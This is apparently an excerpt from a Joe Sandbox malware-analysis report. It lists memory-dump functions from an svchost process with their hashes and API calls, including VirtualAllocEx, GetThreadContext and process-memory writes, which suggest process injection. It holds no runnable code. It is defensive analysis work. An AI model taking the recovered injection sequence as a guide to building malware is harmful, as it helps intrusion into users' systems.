Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1b380ee5930e242f3f4767bbd6685f33ab8f54632b275cc867fe204df4d80294
Instruction ID: cc01a5076964143b31edee79e96827c3bfdd167dfe5db2af8d32fc404e7a86d9
Opcode Fuzzy Hash: 1b380ee5930e242f3f4767bbd6685f33ab8f54632b275cc867fe204df4d80294
Instruction Fuzzy Hash: 0B2125719003499FCF10CFAAD885BDEBBF5FF48314F14842AE919A7240DB78A954DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 078E009C, Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,078E0476,?,?,?,?,?), ref: 078E0537

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fd3672fa7275c1601b3fd31cb6b5ad9d91a02b972b7f409b762f1708486a4d6b
Instruction ID: 1a6c0caa67c0c661e80e6796a3a5bead78254ca4195afaf38a3a31f42f83be03
Opcode Fuzzy Hash: fd3672fa7275c1601b3fd31cb6b5ad9d91a02b972b7f409b762f1708486a4d6b
Instruction Fuzzy Hash: EF21D4B59002489FDB10CF9AD484ADEBBF8EB49324F24841AE915A7310D778A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F6448, Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadContext.KERNEL32(?,00000000), ref: 053F64CE

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: b9530b5003107117f835f79654677fadb84e17351e00408ffb057a9bb4d7bc7a
Instruction ID: b3c7a1c125caa7b7ab20aa60f8f8a4f5386635e1edf5cd9f28441495a420dae4
Opcode Fuzzy Hash: b9530b5003107117f835f79654677fadb84e17351e00408ffb057a9bb4d7bc7a
Instruction Fuzzy Hash: A2213771D003098FDB10DFAAC4857EEBBF4EF88328F14842AD519A7641CB78A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078E04A8, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,078E0476,?,?,?,?,?), ref: 078E0537

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 438758d2444014f74fbffffd96ca202aba9de95d64e262d24406c6b4ace71263
Instruction ID: cf88aa2fe4758316ff572bc7a651c39e733ca218ed57df75f29cf7a11cf888fb
Opcode Fuzzy Hash: 438758d2444014f74fbffffd96ca202aba9de95d64e262d24406c6b4ace71263
Instruction Fuzzy Hash: 8C21F2B5D002599FDB10CFAAD884ADEBBF8AB48324F24841AE954A3250C378A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 053F6450, Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadContext.KERNEL32(?,00000000), ref: 053F64CE

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: a897f59ef8ae3e1ed74e78d8feb9d750ef08c7c5d508c2abfebabd673ddec6b0
Instruction ID: e1d6a18fb5b2b74b553ce0f3fc48dec02ae3a19abecb0c0f9a2ca62828ddae73
Opcode Fuzzy Hash: a897f59ef8ae3e1ed74e78d8feb9d750ef08c7c5d508c2abfebabd673ddec6b0
Instruction Fuzzy Hash: 68211571D042098FDB50DFAAC4857EEBBF4AF88328F14842AD519A7641CB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078E6CF0, Relevance: 1.6, APIs: 1, Instructions: 59libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,078E6B71,00000800,00000000,00000000), ref: 078E6D62

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5b832f7be4ba22d4bb6ef29d735c80b56f8bbf989b37ff57c096c480833a0d87
Instruction ID: fd9d9924e6597f4e4af5260f56e6f129c9d674e43b496cd975191cf317d07a79
Opcode Fuzzy Hash: 5b832f7be4ba22d4bb6ef29d735c80b56f8bbf989b37ff57c096c480833a0d87
Instruction Fuzzy Hash: A02135B69042498FCB10CFAAD844ADEFBF4AB59320F14852AD414A7200D775A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078EE9D1, Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 078EEA4B

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f40d87d79432d86485a90493626d81637845b430812da135cc21239167af17b1
Instruction ID: b1828c662e3e76d8a89c8e9472ce9f7c6e9cc96c99fa1207d222e87455295ebe
Opcode Fuzzy Hash: f40d87d79432d86485a90493626d81637845b430812da135cc21239167af17b1
Instruction Fuzzy Hash: D22136B1D002499FDB10CFAAC484BDEBBF4FB59320F148429E468A7240C378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F67A8, Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 053F681E

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0c10ea71856761cb29e21547fc3dd2be8d08221c8519d5348f830994a439317c
Instruction ID: 61cc574501d86de1b0a60c0fed74f12b065103795890a0485662d79072e3cff2
Opcode Fuzzy Hash: 0c10ea71856761cb29e21547fc3dd2be8d08221c8519d5348f830994a439317c
Instruction Fuzzy Hash: 0A1156719002089BCB10DFAAD845BDFBBF5FB88324F248429E519A7250CB79A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078E57E0, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,078E6B71,00000800,00000000,00000000), ref: 078E6D62

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9687cab2344e5ab8622f3c3515e15a7db77358ecbd41a95eeb92e8dfbd8de63b
Instruction ID: 9b11d877c237bf0ba56c7bd0d8a3d02951d912e3d09450ece724ffa08eac98f5
Opcode Fuzzy Hash: 9687cab2344e5ab8622f3c3515e15a7db77358ecbd41a95eeb92e8dfbd8de63b
Instruction Fuzzy Hash: 671144B6E002098FCB10CF9AD448BDEFBF8EB59324F10842EE815A7200C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078EE9D8, Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 078EEA4B

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a1831a94dab3356b4b9bab8d4e61812cd35b301d409822672709f45ef459269b
Instruction ID: b67abf8ca1d6dacbfe9e0a7fb4f08cdd9a0883262d1f841b2b2ece5a6ae83227
Opcode Fuzzy Hash: a1831a94dab3356b4b9bab8d4e61812cd35b301d409822672709f45ef459269b
Instruction Fuzzy Hash: 352129B1D006099FDB10CF9AC484BDEFBF4FB59320F148429E568A7240D778A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F67B0, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 053F681E

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 09b48f2cef2b27e49c4b35d79da08fbe8a7a4d846e3145a464efebe333302f06
Instruction ID: 7f5e39244c591f06d6b13085d79b0b3cca7116c94cd004cbdc4e3b23e02b55a3
Opcode Fuzzy Hash: 09b48f2cef2b27e49c4b35d79da08fbe8a7a4d846e3145a464efebe333302f06
Instruction Fuzzy Hash: E4113471D002489FCB10DFAAD845BDFBBF5AF88324F248829E519A7250CB75A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078E6A90, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 078E6AF6

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 1ba3556a8b2a3ddd3655a1ec7b8f16f0f87b01f43ac145c766597a2edfcc461d
Instruction ID: ae45ac47e547889906b0875097b47cb0c0d74573ca746ad4a598d88adabd4d20
Opcode Fuzzy Hash: 1ba3556a8b2a3ddd3655a1ec7b8f16f0f87b01f43ac145c766597a2edfcc461d
Instruction Fuzzy Hash: A51110B1D006498FCB10CF9AD444BDEFBF8EB89324F10842AD829B7600D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F4D14, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 053F73AD

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8b43962cc734c2088fbb2c610522cdf1db15c6b861a23212ce3fbc2928079853
Instruction ID: 97b78e28a466a038ed4dbb02d48caaa1375a696d73b028b08862f75d1c238705
Opcode Fuzzy Hash: 8b43962cc734c2088fbb2c610522cdf1db15c6b861a23212ce3fbc2928079853
Instruction Fuzzy Hash: B31106B59007099FDB10DF9AD485BDEBBF8FB48724F10841AE919A7600C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F7348, Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 053F73AD

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8f1f102b09d3375fddf0c73a430d579026dc5cf2d82d56dcc64db11fb639366f
Instruction ID: 570598754eb97c931e5a44bc5b8d524c5b1f9b939e72ef250ca401ae205683fa
Opcode Fuzzy Hash: 8f1f102b09d3375fddf0c73a430d579026dc5cf2d82d56dcc64db11fb639366f
Instruction Fuzzy Hash: 451103B59002499FDB10CF9AD885BDEBFF4FB48724F24845AE959A7600C374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 078EB420, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 078EB3C1

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 5282cab5def97dfbc78c78d9491cf35de809e791444068990ac509dec0efd28a
Instruction ID: 0b4587dfe358a8392ca179107c30cfbf33be5ac429123ac7bc130af6e44d45c4
Opcode Fuzzy Hash: 5282cab5def97dfbc78c78d9491cf35de809e791444068990ac509dec0efd28a
Instruction Fuzzy Hash: 6D01BCB65043448FCB119BA8F4467D97FF0FB0A228F204846E459DBA01D7389880CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0592ED00, Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

d, xrefs: 0592EE4C

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 4002e76acf915aec605c03d76f80ef93f70be45a70b44b81e1be3c34688f802a
Instruction ID: c85dfad7c5c50147e6346ebcec467ecd5146c278fb4b0df1e3fd3e03ab0467d1
Opcode Fuzzy Hash: 4002e76acf915aec605c03d76f80ef93f70be45a70b44b81e1be3c34688f802a
Instruction Fuzzy Hash: 48615874A00A168FCB14DF59D4C08AAFBBAFF88310B54C969C9199B719DB30F855CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05921518, Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

P@2l, xrefs: 05921576

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID: P@2l
API String ID: 0-866591868
Opcode ID: 9012ed50b38c3e6aca186679d746629fadb5850b639b655dff3c024591cf22ec
Instruction ID: f028e45a018d070f2442e76cc1a4f71cb70d22a7ca47d2c4f234bee08f9457bf
Opcode Fuzzy Hash: 9012ed50b38c3e6aca186679d746629fadb5850b639b655dff3c024591cf22ec
Instruction Fuzzy Hash: D921DD31B002148BCB259B74D014AAEB7F7AB88610F1889ADD406EB388DF34CD02DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 05921528, Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

P@2l, xrefs: 05921576

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID: P@2l
API String ID: 0-866591868
Opcode ID: 5b5fe3e52c2e3aad0fec85521c53993a388df102386eda8e2de33a70da6fb8cb
Instruction ID: c3c0b17faab7488430d7664a6f3e7661b7f2f5c2872b4d16f9f4dff8da957962
Opcode Fuzzy Hash: 5b5fe3e52c2e3aad0fec85521c53993a388df102386eda8e2de33a70da6fb8cb
Instruction Fuzzy Hash: B1218D31B001148FCB25AB64D114AAFB7F7AB88640F14856DD406EB388DF74CC42DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05920FD0, Relevance: .4, Instructions: 408COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 237fe8fb12a5f30981a398237586b216b8ca1c569b441f66dae499fb02e41b79
Instruction ID: 71d60a093040db715dfe12fd1b602aaf2c438abf5396dc1ff5999675cc72a322
Opcode Fuzzy Hash: 237fe8fb12a5f30981a398237586b216b8ca1c569b441f66dae499fb02e41b79
Instruction Fuzzy Hash: D0F15B357001049FCB15DFA8D844E6ABBA7FF88314B1580A8E60A9F376DB36DC16DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05920FA8, Relevance: .4, Instructions: 394COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 554563ee62b051d1127890921536972b9d3a59f58ab8ff5268f0a3d1113e1ef7
Instruction ID: 69c26d470a43be2c8c47fbbdf7a238fdf6664bcff5065a8d7737ca9ad980243f
Opcode Fuzzy Hash: 554563ee62b051d1127890921536972b9d3a59f58ab8ff5268f0a3d1113e1ef7
Instruction Fuzzy Hash: 5BE14C75B001049FCB15DFA8D844E6ABBA7FF88314B1580A8E2099F376DB36DC16DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0592AA70, Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff1e17feef547a167e0fafb56dd91b9ada5d1a23b7b4af08eb7782284d71037c
Instruction ID: 410f9a7bb2d07530bb1acfe99987c501991f52447d99eec9d5b40eb134236ebd
Opcode Fuzzy Hash: ff1e17feef547a167e0fafb56dd91b9ada5d1a23b7b4af08eb7782284d71037c
Instruction Fuzzy Hash: 55A14B746007028FC704EF68D48895ABBB2FF896247558998E54ADB375DF30FD46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0592FD70, Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea41a16526a6b3c11827f8c0eaaadfc0d6a9b5ed0ae1b40ff195c17accd66788
Instruction ID: bc2cecd0c105edef31ecb2df702ccc79aea9c6b39090d70f85f1bae23f362dd3
Opcode Fuzzy Hash: ea41a16526a6b3c11827f8c0eaaadfc0d6a9b5ed0ae1b40ff195c17accd66788
Instruction Fuzzy Hash: F1618C75B002159FCB04AFA9D8586AEBBB7FFC8710F508429E906D7384DF359C428B91

Uniqueness

Uniqueness Score: -1.00%

Function 0592F6A0, Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9b4ee75feb74c01bdee4784edea6b493c47905861cadfd3e94da9f362176335
Instruction ID: 46e7288ce0485f6b1d118f739a558dcfbc2452429c83a254b72cf195674506d6
Opcode Fuzzy Hash: d9b4ee75feb74c01bdee4784edea6b493c47905861cadfd3e94da9f362176335
Instruction Fuzzy Hash: 2D71B039A041119BDB04FB64E4894ACBBB3FF80624346CD59C546EF219EF34AE068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0592CA48, Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c28c07f88933fb240ed817f755d56292dd4d3e73a26aec286dd930174f7a3df5
Instruction ID: 30c4ebfef80fb87bbe9625f1147a70a9e997442049ac452a9ac27f352c610508
Opcode Fuzzy Hash: c28c07f88933fb240ed817f755d56292dd4d3e73a26aec286dd930174f7a3df5
Instruction Fuzzy Hash: F5619B71A0061A9FC714DF58D884AAEF7B6FF84324B25C928D5199B214DB31FC46CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0592F4E8, Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35cc5d5b37b3ac23a62fd9dc84b198a85cff2a0dbc1a67f9b25c53b9478a9c6
Instruction ID: 4b122c5acf24a8f4764cf4827b9e1d59c603035128161eadb080c1abda9250e3
Opcode Fuzzy Hash: d35cc5d5b37b3ac23a62fd9dc84b198a85cff2a0dbc1a67f9b25c53b9478a9c6
Instruction Fuzzy Hash: 5751F7317047208FC725DB65E485A2AB7FAEFC572071988AED549DB759CB30EC02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0592E278, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099d18eff27d05baed7ed0f3af1fbaa2932cfaad43eda23aaa435cc7037db405
Instruction ID: b73b831b046bd210357ac4da08cab73170a65194833515543cbf88b89becc67d
Opcode Fuzzy Hash: 099d18eff27d05baed7ed0f3af1fbaa2932cfaad43eda23aaa435cc7037db405
Instruction Fuzzy Hash: D5418C342007018FD314EBB4E499A1AB7E3FBC8624B548E6CE14A8B654DF75E946CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0592D280, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef8c3b3b6eed7678705282767d343465cc24ef23ab6d51486b4268daf8825a96
Instruction ID: d8d0eb898a4135ab1c9b2b0cb835d1697fcbe3b2b4410f24339df7907c8ec248
Opcode Fuzzy Hash: ef8c3b3b6eed7678705282767d343465cc24ef23ab6d51486b4268daf8825a96
Instruction Fuzzy Hash: DD418F702007415FD354EF25D484A5AB7B3BF81A24F91CD5CC24A8B6A5CF74F90A8BA1

Uniqueness

Uniqueness Score: -1.00%

Function 059205C7, Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3c0c5ac5dd7a38f7c931332e077f63498c0bb1daaad6ecd14538522c6de8b4
Instruction ID: b0b2ff6513ca83d73ddbac65e5a8c252ba0b96d745c6855e5d535851abdf3bd1
Opcode Fuzzy Hash: 3f3c0c5ac5dd7a38f7c931332e077f63498c0bb1daaad6ecd14538522c6de8b4
Instruction Fuzzy Hash: 99315A34B501149FCB14DFA9C498AAEBBF6AF8C714F158169E506DB7A4CBB0EC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 059205D8, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a8f2450b03ea90e84530194d1ddcb96b01635d430de03014bbebc747233cbc
Instruction ID: c301ceff4db4c0bb6ce6a1aad6e7da18d8da03358efde1ea1ed5b5b1db64091b
Opcode Fuzzy Hash: 11a8f2450b03ea90e84530194d1ddcb96b01635d430de03014bbebc747233cbc
Instruction Fuzzy Hash: 13315930B101148FCB14DFA9C498A6EBBF6AF8C714F258169E506DB7A4CBB0EC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05920A28, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac97410329daaf3c252bfb9e6b266431a8a53c284c78defadc3c9029f9655e7
Instruction ID: 392684285c2d47bb57a24cab5a0193d83f243bf5695f1910d1801693f4ec17b6
Opcode Fuzzy Hash: cac97410329daaf3c252bfb9e6b266431a8a53c284c78defadc3c9029f9655e7
Instruction Fuzzy Hash: 3B317F31B002185FD705A6B9885467FB6BBEBC8A20F64802DA505E7784CE75DD074B91

Uniqueness

Uniqueness Score: -1.00%

Function 0592D830, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ef74fcdfff3f6c859495bdec4fcb59bbcb8fc10b59d0c519ccdefada028a43d
Instruction ID: 46be71e17559bd80eb85c4b7750e4d60191f18552258c257d751da738287bebd
Opcode Fuzzy Hash: 7ef74fcdfff3f6c859495bdec4fcb59bbcb8fc10b59d0c519ccdefada028a43d
Instruction Fuzzy Hash: DF2171347406011BE708BA72E89973E66A3EBD1A34F69CD2CD6029B284DE759D0B57E0

Uniqueness

Uniqueness Score: -1.00%

Function 0179D110, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.757173047.000000000179D000.00000040.00000001.sdmp, Offset: 0179D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_179d000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fb727080ca5cac46c23bb04cb42a2794e17f0e0e39978d52b54e4254fff266a
Instruction ID: 1e46070bb0e2cb818e78c36e82880d2448b665adf9724c6b1168e2bec639ae77
Opcode Fuzzy Hash: 6fb727080ca5cac46c23bb04cb42a2794e17f0e0e39978d52b54e4254fff266a
Instruction Fuzzy Hash: 5E2125B6544204DFDF25CF94E9C0B26FB66FB84314F25C5ADD9094B246C336D84ACA61

Uniqueness

Uniqueness Score: -1.00%

Function 0592EF48, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 406e6e4899408dc320f50b8eb8d19952f5ace503e252c4c7bbbf02dd6fa20894
Instruction ID: 5a80da6662618f677510aa6e50fe333c7d687627ccbd42083c1e84629b684ab3
Opcode Fuzzy Hash: 406e6e4899408dc320f50b8eb8d19952f5ace503e252c4c7bbbf02dd6fa20894
Instruction Fuzzy Hash: 5911C4316086158FC711DB14D480DA5FBEEEF45314729C966E41AC7746DB30FC068B91

Uniqueness

Uniqueness Score: -1.00%

Function 059208C0, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.782014661.0000000005920000.00000040.00000001.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_5920000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0b8983eac5e8d036e77ca8d719f96784b25e9390a902b2d0b3e03758979d85
Instruction ID: 31f9addebad9d5ba483b25879959a3de05ede158dcd858d951527409cd719ebc
